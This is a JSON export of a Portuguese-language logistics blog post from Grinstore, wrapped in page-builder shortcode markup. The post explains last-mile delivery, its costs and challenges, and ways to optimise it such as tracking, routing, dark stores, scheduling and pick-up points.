{"id":4933,"date":"2022-08-12T16:00:13","date_gmt":"2022-08-12T19:00:13","guid":{"rendered":"https:\/\/www.grinstore.com.br\/blog\/?p=4933"},"modified":"2026-01-18T14:19:20","modified_gmt":"2026-01-18T17:19:20","slug":"last-mile-o-que-e","status":"publish","type":"post","link":"https:\/\/www.grinstore.com.br\/blog\/last-mile-o-que-e\/","title":{"rendered":"Last mile: Por que essa etapa \u00e9 t\u00e3o decisiva para o sucesso da log\u00edstica?"},"content":{"rendered":"[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][divider line_type=&#8221;Full Width Line&#8221; line_thickness=&#8221;1&#8243; divider_color=&#8221;accent-color&#8221;][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; gradient_type=&#8221;default&#8221;][vc_column_text]<span style=\"font-weight: 400;\">A cadeia de opera\u00e7\u00f5es log\u00edsticas pode ser dividida em diversas etapas e processos. O objetivo \u00e9 que todos atuem em um fluxo positivo para garantir a entrega do material desejado no local e no tempo necess\u00e1rio.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Quando abordamos especificamente a entrega ao cliente, lidamos com um assunto de crucial import\u00e2ncia, pois, conforme indicado em pesquisa realizada pelo <\/span><a href=\"https:\/\/www.tecmundo.com.br\/mercado\/232495-rapidez-entrega-importa-compras-brasil.htm\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Capterra<\/span><\/a><span style=\"font-weight: 400;\">, <\/span><b>o fator mais valorizado pelos brasileiros \u00e9 a rapidez na entrega<\/b><span style=\"font-weight: 400;\">. Ent\u00e3o, \u00e9 durante esse momento que temos a chance de conquistar ou afastar aquele consumidor.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Alguns processos tendem a ter mais impacto sobre a opera\u00e7\u00e3o do que outros. Esse \u00e9 o caso da <\/span><b><i>last mile<\/i><\/b> <span style=\"font-weight: 400;\">&#8211; a etapa final da entrega.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Se voc\u00ea n\u00e3o est\u00e1 familiarizado com o termo, continue a acompanhar o texto para entender do que se trata e porque ele det\u00e9m tamanha import\u00e2ncia na log\u00edstica das empresas.<\/span><\/p>\n<h3>Navegue e aprenda mais sobre a <em>last mile<\/em><\/h3>\n[\/vc_column_text][vc_column_text]\n<ul>\n<li><a href=\"#significado-last-mile\">O que significa o <em>last mile<\/em>?<\/a><\/li>\n<li><a href=\"#impactos-last-mile\">Quais os impactos do <em>last mile<\/em> para a log\u00edstica na atualidade?<\/a><\/li>\n<li><a href=\"#desafios-na-last-mile\">Quais s\u00e3o os desafios da etapa final da entrega?<\/a><\/li>\n<li><a href=\"#otimizacao-last-mile\">Como otimizar a sua opera\u00e7\u00e3o no <em>last mile<\/em>?<\/a><\/li>\n<li><a href=\"#duvidas-frequentes-last-mile\">D\u00favidas frequentes<\/a><\/li>\n<\/ul>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;significado-last-mile&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">O que significa a last mile?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> faz refer\u00eancia \u00e0 <\/span><b>etapa final de uma opera\u00e7\u00e3o log\u00edstica<\/b><span style=\"font-weight: 400;\">, caracterizada pela sa\u00edda do produto at\u00e9 o comprador que est\u00e1 destinado. O termo tamb\u00e9m \u00e9 conhecido como \u201c<\/span><i><span style=\"font-weight: 400;\">last mile delivery<\/span><\/i><span style=\"font-weight: 400;\">\u201d, ou pela tradu\u00e7\u00e3o direta para o portugu\u00eas, a \u201c\u00faltima milha\u201d.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Embora possa causar alguma confus\u00e3o, o conceito de <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> n\u00e3o est\u00e1 restrito a 1,6 km &#8211; a convers\u00e3o de milhas para nossa unidade padr\u00e3o. A abrang\u00eancia dessa etapa envolve o processo de sa\u00edda do <\/span><span style=\"font-weight: 400;\">centro de distribui\u00e7\u00e3o<\/span><span style=\"font-weight: 400;\"> at\u00e9 a <\/span><b>entrega ao destinat\u00e1rio<\/b><span style=\"font-weight: 400;\">, independentemente da dist\u00e2ncia envolvida.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ainda assim, a tend\u00eancia atual \u00e9 de que os <\/span><span style=\"font-weight: 400;\">estoques<\/span><span style=\"font-weight: 400;\"> estejam cada vez mais pr\u00f3ximos dos clientes, de forma a reduzir o tempo percorrido no trajeto e garantir entregas mais r\u00e1pidas e <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/frete-mais-barato\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">fretes mais baratos<\/span><\/a><span style=\"font-weight: 400;\">. Afinal, durante esse per\u00edodo, a ansiedade do destinat\u00e1rio costuma ser maior pela proximidade em receber o seu pedido. \u00c9 o momento em que a <\/span><b>satisfa\u00e7\u00e3o do cliente<\/b><span style=\"font-weight: 400;\"> est\u00e1 em jogo.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Antes de falar um pouco mais a respeito do impacto da <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> nas <\/span><b>opera\u00e7\u00f5es log\u00edsticas<\/b><span style=\"font-weight: 400;\">, \u00e9 interessante saber que o seu conceito n\u00e3o est\u00e1 isolado. Na verdade, ele \u00e9 a \u00faltima parte de um conjunto para se referir \u00e0s etapas de transporte dos produtos. Vamos falar rapidamente sobre os outros dois componentes.<\/span><\/p>\n<h3><strong>First Mile<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Diz respeito \u00e0 primeira jornada da mercadoria, ou seja, quando ela \u00e9 enviada do fabricante em dire\u00e7\u00e3o ao centro de distribui\u00e7\u00e3o. O <\/span><i><span style=\"font-weight: 400;\">first mile<\/span><\/i><span style=\"font-weight: 400;\"> se popularizou, principalmente, pela f\u00e1cil identifica\u00e7\u00e3o dos seus processos no transporte de cargas intercontinentais. Por conta disso, o transporte costuma acontecer por modais a\u00e9reos e mar\u00edtimos.<\/span><\/p>\n<h3><strong>Middle Mile<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Em sequ\u00eancia, temos o <\/span><i><span style=\"font-weight: 400;\">middle mile<\/span><\/i><span style=\"font-weight: 400;\">, tamb\u00e9m conhecido em ingl\u00eas como <\/span><i><span style=\"font-weight: 400;\">\u201csecond mile delivery\u201d. <\/span><\/i><span style=\"font-weight: 400;\">Ele \u00e9 caracterizado como a <\/span><b>movimenta\u00e7\u00e3o da mercadoria<\/b><span style=\"font-weight: 400;\"> de um centro de distribui\u00e7\u00e3o at\u00e9 uma instala\u00e7\u00e3o de <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-fulfillment\/\"><i><span style=\"font-weight: 400;\">fulfillment<\/span><\/i><\/a><i><span style=\"font-weight: 400;\">.<\/span><\/i><\/p>\n<p><b>Tire suas d\u00favidas: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-fulfillment\/\" target=\"_blank\" rel=\"noopener\">Fulfillment: entenda mais sobre esse conceito e como ele \u00e9 aplicado em Dark Stores<\/a><\/p>\n<p><span style=\"font-weight: 400;\">Basicamente, o produto \u00e9 transportado de grandes locais de armazenagem para pontos em que s\u00e3o guardados de forma tempor\u00e1ria e embalados, para outros <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-centro-de-distribuicao\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">centros de distribui\u00e7\u00e3o<\/span><\/a><span style=\"font-weight: 400;\">, lojas ou mercados.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Retomando o foco do nosso conte\u00fado, vamos abordar os <\/span><b>principais impactos<\/b><span style=\"font-weight: 400;\"> que a parte final das entregas tem no contexto log\u00edstico.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;impactos-last-mile&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][image_with_animation image_url=&#8221;4934&#8243; image_size=&#8221;full&#8221; animation_type=&#8221;entrance&#8221; animation=&#8221;Fade In&#8221; hover_animation=&#8221;none&#8221; alignment=&#8221;&#8221; border_radius=&#8221;none&#8221; box_shadow=&#8221;none&#8221; image_loading=&#8221;default&#8221; max_width=&#8221;100%&#8221; max_width_mobile=&#8221;default&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">Quais os impactos do last mile para a log\u00edstica na atualidade?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A \u201c\u00faltima milha\u201d \u00e9 o momento de maior custo para as empresas. Estima-se que os valores investidos nessa etapa representam cerca de <\/span><b>30% do processo total<\/b><span style=\"font-weight: 400;\"> de entrega. Afinal, levar o produto at\u00e9 o cliente enfrenta uma s\u00e9rie de <\/span><span style=\"font-weight: 400;\">obst\u00e1culos e desafios<\/span><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Por exemplo, o congestionamento no tr\u00e2nsito dos grandes centros urbanos exige mais consumo de combust\u00edvel e trabalho do pr\u00f3prio ve\u00edculo. Consequentemente, os <\/span><b>gastos com manuten\u00e7\u00e3o<\/b><span style=\"font-weight: 400;\"> tendem a subir.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Al\u00e9m desse aumento dos custos, os erros e as falhas nessa etapa tendem a atrasar as entregas, o que reflete diretamente na satisfa\u00e7\u00e3o do consumidor.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Esses desafios s\u00e3o grandes riscos \u00e0 sobreviv\u00eancia das empresas, pois o cen\u00e1rio comum \u00e9 as entregas serem otimizadas a ponto de ser poss\u00edvel oferecer a op\u00e7\u00e3o <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-same-day-delivery\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Same Day Delivery<\/span><\/a><span style=\"font-weight: 400;\">.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;desafios-na-last-mile&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">Quais s\u00e3o os desafios da etapa final da entrega?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Apesar da <em>last mile<\/em> ser a etapa de entrega, parte dos desafios s\u00e3o consequ\u00eancia de falhas no processo log\u00edstico anteriores \u00e0 sa\u00edda para a rota de entrega.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Entenda os principais desafios:<\/span><\/p>\n<h3><strong>Tecnologia\u00a0<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">As etapas log\u00edsticas anteriores a entrega precisam estar integradas e serem \u00e1geis para que esse fluxo continue durante a entrega. Para isso, \u00e9 necess\u00e1rio investir em tecnologia para a automa\u00e7\u00e3o de processos, monitoramento e acompanhamento de dados sobre o processo log\u00edstico.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Entretanto, n\u00e3o basta implementar tecnologia, \u00e9 necess\u00e1rio utilizar as ferramentas corretas e saber tirar proveito delas.\u00a0<\/span><\/p>\n<h3><strong>Imprevistos na entrega<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Uma das tarefas mais importantes a serem executadas pela tecnologia \u00e9 a <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-roteirizacao-de-entrega\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">roteiriza\u00e7\u00e3o de entrega<\/span><\/a><span style=\"font-weight: 400;\">. Esse planejamento considera a melhor rota a ser seguida pelos entregadores.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ainda assim, h\u00e1 a possibilidade de haver imprevistos que atrasem a entrega, como congestionamento causado por acidente, ou ent\u00e3o fortes chuvas que alagaram a cidade.\u00a0\u00a0<\/span><\/p>\n<h3><strong>Restri\u00e7\u00f5es de rotas<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">O Brasil tem grandes problemas com m\u00e1s condi\u00e7\u00f5es de estradas e com roubos e furtos, pontos que interferem nos trajetos e elevam os <\/span><span style=\"font-weight: 400;\">custos relacionados \u00e0 entrega<\/span><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><strong>Entregadores<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Uma alternativa muito utilizada para a entrega de produtos \u00e9 o modelo <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/crowdshipping-o-que-e\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">crowdshipping<\/span><\/a><span style=\"font-weight: 400;\">, entrega terceirizada a pessoa cadastrada na plataforma. Essa alternativa pode ser mais barata, mas a falta de entregadores \u00e9 um problema recorrente.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Por conta dessas caracter\u00edsticas, a <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> \u00e9 um momento delicado para os clientes. Em meio a todas essas <\/span><span style=\"font-weight: 400;\">dificuldades<\/span><span style=\"font-weight: 400;\">, ainda \u00e9 necess\u00e1rio garantir a maior rapidez poss\u00edvel para a opera\u00e7\u00e3o, tanto em virtude da <\/span><b>satisfa\u00e7\u00e3o do cliente<\/b><span style=\"font-weight: 400;\">, quanto pela oferta da concorr\u00eancia em finalizar o processo com agilidade.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ent\u00e3o, quais solu\u00e7\u00f5es podem ser aplicadas para melhorar a efici\u00eancia da last mile? Conhe\u00e7a algumas dicas!<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;otimizacao-last-mile&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">Como otimizar a sua opera\u00e7\u00e3o no last mile?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Embora a maioria do foco esteja voltado para a velocidade com que a entrega \u00e9 realizada, as melhorias da <\/span><i><span style=\"font-weight: 400;\">last mile<\/span><\/i><span style=\"font-weight: 400;\"> n\u00e3o se resumem a ser o mais r\u00e1pido. Atente-se a alguns fatores importantes.<\/span><\/p>\n<h3><strong>1 &#8211; Rastreamento<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Mais importante do que receber rapidamente os produtos, os clientes preferem saber quando eles chegar\u00e3o. Dessa forma, podem planejar suas agendas dentro da rotina corrida, al\u00e9m de evitar o transtorno de uma falha na entrega.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Por isso, \u00e9 importante investir em <\/span><b>tecnologias de rastreamento com GPS e telem\u00e1tica<\/b><span style=\"font-weight: 400;\"> (sistema de transmiss\u00e3o de dados via rede) nos ve\u00edculos, facilitando a identifica\u00e7\u00e3o e a comunica\u00e7\u00e3o dessas informa\u00e7\u00f5es ao consumidor, seja por meio de aplicativos de transporte ou p\u00e1ginas previamente disponibilizadas no site.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Essa \u00e9 uma tend\u00eancia e pode ser notada, por exemplo, nos aplicativos de delivery, que permitem<\/span><span style=\"font-weight: 400;\"> o acompanhamento em tempo real do entregador.<\/span><\/p>\n<h3><strong>2 &#8211; Roteiriza\u00e7\u00e3o das entregas<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Outro ponto essencial, e que possui bastante em comum com a dica anterior, envolve <\/span><span style=\"font-weight: 400;\">planejar rotas efetivas<\/span><span style=\"font-weight: 400;\"> para a entrega. Os mesmos mecanismos citados acima podem ajudar o setor respons\u00e1vel a garantir que o caminho tra\u00e7ado seja seguido pelos motoristas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Al\u00e9m disso, o <\/span><b>acompanhamento das rotas<\/b><span style=\"font-weight: 400;\"> permite identificar eventuais problemas, como engarrafamentos, vias interditadas ou mesmo o erro humano, proveniente de esquecimento por parte do entregador. As informa\u00e7\u00f5es repassadas em tempo real para os motoristas possibilitam os ajustes necess\u00e1rios, evitando o desperd\u00edcio na tentativa de entrega.<\/span><\/p>\n<h3><strong>3 &#8211; Estoque pr\u00f3ximo ao cliente<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">\u00c9 essencial utilizar o apoio de <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/diferenciais-dark-store\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">centros de distribui\u00e7\u00e3o mais pr\u00f3ximos do cliente<\/span><\/a><span style=\"font-weight: 400;\">. Locais posicionados estrategicamente nas principais vias de movimenta\u00e7\u00e3o, costumam corresponder com op\u00e7\u00f5es de caminhos vi\u00e1veis e variedade para a corre\u00e7\u00e3o do planejado durante imprevistos.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Em virtude dessa caracter\u00edstica, muitos <\/span><i><span style=\"font-weight: 400;\">e-commerces<\/span><\/i><span style=\"font-weight: 400;\"> t\u00eam utilizado os<\/span><b> servi\u00e7os das <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-dark-store\/\" target=\"_blank\" rel=\"noopener\"><b>Dark Stores<\/b><\/a><span style=\"font-weight: 400;\">. Os micro-centros de distribui\u00e7\u00e3o permitem encurtar a dist\u00e2ncia para o consumidor com a flexibilidade proporcionada pela sua localiza\u00e7\u00e3o. Ao mesmo tempo, <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/custo-transporte-para-e-commerce\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">reduzem o custo operacional<\/span><\/a><span style=\"font-weight: 400;\"> para o remetente em uma etapa que, naturalmente, conta com altos investimentos.<\/span><\/p>\n<h3><strong>4 &#8211; Agendamento para a entrega<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Disponibilizar em sua plataforma a op\u00e7\u00e3o para que o consumidor realize o agendamento para a data de entrega \u00e9 outra maneira de otimizar os seus processos. Isso permite que o cliente escolha o dia e hor\u00e1rio mais confort\u00e1veis para receber o seu produto.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O planejamento dele, resultar\u00e1 em maior garantia para que a entrega chegue ao seu destino com sucesso. Ao mesmo tempo, o grau de satisfa\u00e7\u00e3o do cliente em poder selecionar quando ter\u00e1 acesso aos seus produtos ser\u00e1 maior, transformando a experi\u00eancia em um ponto positivo para a sua marca.<\/span><\/p>\n<h3><strong>5 &#8211; <i>Pick up points<\/i><\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Os <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-sao-pick-up-points\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">pick up points<\/span><\/a><span style=\"font-weight: 400;\">, tamb\u00e9m chamados pontos de coleta ou pontos de capta\u00e7\u00e3o, s\u00e3o um m\u00e9todo de entregas que consiste na retirada do produto em uma loja f\u00edsica ou em <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-smart-locker\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">smart lockers<\/span><\/a><span style=\"font-weight: 400;\"> (arm\u00e1rios inteligentes em portugu\u00eas).\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Essa estrat\u00e9gia pode fornecer um ponto de apoio para a sua opera\u00e7\u00e3o. Para clientes com uma rotina excessivamente acelerada, poder retirar seus produtos em uma esta\u00e7\u00e3o de metr\u00f4 ou outro local pr\u00f3ximo da sua rota di\u00e1ria s\u00e3o facilitadores importantes.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Dessa forma, voc\u00ea evita uma entrega malsucedida, diminui os custos relacionados ao transporte do produto e ajuda o seu cliente a receber a mercadoria, inclusive na modalidade <\/span><span style=\"font-weight: 400;\">Same Day Delivery<\/span><span style=\"font-weight: 400;\">.\u00a0<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;implementar-log\u00edstica-4-0&#8243; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; 